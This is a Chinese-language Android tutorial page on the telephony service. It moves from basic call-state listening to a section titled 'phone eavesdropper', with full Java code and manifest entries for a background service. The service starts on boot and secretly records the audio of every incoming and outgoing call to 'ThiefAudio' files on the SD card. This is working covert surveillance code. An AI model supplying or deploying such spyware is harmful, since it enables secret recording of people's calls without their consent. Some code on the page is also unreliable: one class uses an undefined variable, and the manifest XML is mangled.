Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> Android 電話服務

Android 電話服務

編輯:關於Android編程

電話服務
對電話進行監聽:
1.使用getSystemService()方法可以取得Context.TELEPHONY_SERVICE服務,取得的服務對象類型為android.telephony.TelephonyManager.
Listen()方法是比較重要的一個方法,通過此方法可以綁定一個PhoneStateListener類的對象,以完成對電話各個狀態的監聽,在此類中,主要是通過onCallStateChanged()方法進行來、去電的監聽處理。方法:
public void onCallStateChanged(int state,String incomingNumber);【state:判斷電話的操作狀態,;incomingNumber:撥入的電話號碼】

(1)定義電話監聽服務---PhoneService
public class PhoneService extends Service {
    private TelephonyManager telephony = null;

    @Override
    public void onCreate() { // 服務創建的時候操作
        super.onCreate();
        this.telephony = (TelephonyManager) super
                .getSystemService(Context.TELEPHONY_SERVICE);
        this.telephony.listen(new PhoneStateListenerImpl(),
                PhoneStateListener.LISTEN_CALL_STATE); // 設置監聽操作
    }

    private class PhoneStateListenerImpl extends PhoneStateListener {

        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE: // 沒有撥入或撥出電話狀態
                break;
            case TelephonyManager.CALL_STATE_RINGING: // 領音響起
                System.out.println("撥入電話號碼:"
                        + incomingNumber
                        + ",撥入時間:"
                        + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
                                .format(new Date()));//後台輸出
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK: // 接聽電話
System.out.println("撥出電話號碼:"
                        + outgoingNumber
                        + ",撥出時間:"
                        + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
                                .format(new Date()));//後台輸出

                break;
            }
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}
(2)定義電話服務的廣播接收器----PhoneBroadcastReceiver
public class PhoneBroadcastReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去電
            String outgoingNumber = intent
                    .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去電號碼
            Intent pit = new Intent(context, PhoneService.class);
            pit.putExtra("outgoingNumber", outgoingNumber);//保存去電號碼
            context.startService(pit);//啟動Service
        } else { // 來電
    context.startService(new Intent(context, PhoneService.class));// 啟動Service

        }
    }

}

(3)權限配置
 

<!--?xml version="1.0" encoding="utf-8"?-->
<manifest android:versioncode="1" android:versionname="1.0" package="org.lxh.demo" xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minsdkversion="10">
    <uses-permission android:name="android.permission.READ_PHONE_STATE">
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS">

    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:label="@string/app_name" android:name=".MyPhoneDemo">
            <intent-filter>
                <action android:name="android.intent.action.MAIN">
                <category android:name="android.intent.category.LAUNCHER">
            </category></action></intent-filter>
        </activity>
        <service android:name=".PhoneService">
        <receiver android:name=".PhoneBroadcastReceiver">
            <intent-filter>
                <action android:name="android.intent.action.NEW_OUTGOING_CALL">
                <action android:name="android.intent.action.BOOT_COMPLETED">
                <action android:name="android.intent.action.PHONE_STATE">

發現你的私人秘密:電話竊聽器

(1)定義完成錄音操作的工具類—RecodAudioUtil
public class RecordAudioUtil {
    private MediaRecorder mediaRecorder = null;//錄音工具類
    private String recDir = "theifaudio";
    private File recordAudioSaveFileDir = null;
    private boolean sdcardExists = false;
    private boolean isRecord = false;
    private String phoneNumber = null; // 電話號碼
    private String callType = null; // 呼叫類型

    public RecordAudioUtil(String phoneNumber, String callType) {
        this.phoneNumber = phoneNumber;
        this.callType = callType;
        if ((this.sdcardExists = Environment.getExternalStorageState().equals(
                Environment.MEDIA_MOUNTED))) {
            this.recordAudioSaveFileDir = new File(Environment
                    .getExternalStorageDirectory().toString()
                    + File.separator
                    + this.recDir + File.separator);
            if (!this.recordAudioSaveFileDir.exists()) {
                this.recordAudioSaveFileDir.mkdirs();
            }
        }
    }

    public File record() { // 進行電話的錄音,同時返回文件的路徑
        File recordAudioSaveFile = null;
        String recordAudioSaveFileName = null;
        if (this.sdcardExists) { // sd卡存在
            recordAudioSaveFileName = this.recordAudioSaveFileDir.toString()
                    + File.separator
                    + "ThiefAudio_"
                    + new SimpleDateFormat("yyyyMMddhhmmssSSS")
                            .format(new Date()) + "_" + this.callType + "_"
                    + this.phoneNumber + ".3gp";
            recordAudioSaveFile = new File(recordAudioSaveFileName);
            this.mediaRecorder = new MediaRecorder();
            this.mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
            this.mediaRecorder
                    .setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
            this.mediaRecorder
                    .setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
            this.mediaRecorder.setOutputFile(recordAudioSaveFileName);
            try {
                this.mediaRecorder.prepare();
            } catch (Exception e) {
                e.printStackTrace() ;
            }
            this.mediaRecorder.start();
            this.isRecord = true;
        }
        return recordAudioSaveFile;
    }

    public void stop() {
        if (this.isRecord) {
            this.mediaRecorder.stop();
            this.mediaRecorder.reset() ;
            this.mediaRecorder.release();
        }
    }
}
(2)修改通話操作的服務類---PhoneService
public class PhoneService extends Service {
    private TelephonyManager telephony = null;
    private String outgoingNumber = null;
    private RecordAudioUtil raUtil = null;

    @Override
    public void onCreate() { // 服務創建的時候操作
        super.onCreate();
        this.telephony = (TelephonyManager) super
                .getSystemService(Context.TELEPHONY_SERVICE);
        this.telephony.listen(new PhoneStateListenerImpl(),
                PhoneStateListener.LISTEN_CALL_STATE); // 設置監聽操作
    }

    @Override
    public void onStart(Intent intent, int startId) {
        this.outgoingNumber = intent.getStringExtra("outgoingNumber");
        super.onStart(intent, startId);
    }

    private class PhoneStateListenerImpl extends PhoneStateListener {

        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE: // 掛斷電話
                if (PhoneService.this.raUtil != null) { // 保險
                    PhoneService.this.raUtil.stop();
                    PhoneService.this.raUtil = null;
                }
                break;
            case TelephonyManager.CALL_STATE_RINGING: // 領音響起
                PhoneService.this.raUtil = new RecordAudioUtil(incomingNumber,
                        "撥入電話");
                PhoneService.this.raUtil.record();
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK: // 接聽電話
                PhoneService.this.raUtil = new RecordAudioUtil(
                        PhoneService.this.outgoingNumber, "撥出電話");
                PhoneService.this.raUtil.record();
                break;
            }
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}
(3)PhoneBroadcastReceiver類
public class PhoneBroadcastReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去電
            String outgoingNumber = intent
                    .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去電號碼
            Intent pit = new Intent(context, PhoneService.class);
            pit.putExtra("outgoingNumber", outgoingNumber);
            context.startService(pit);
        } else { // 來電
            context.startService(new Intent(context, PhoneService.class));
        }
    }

}
  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved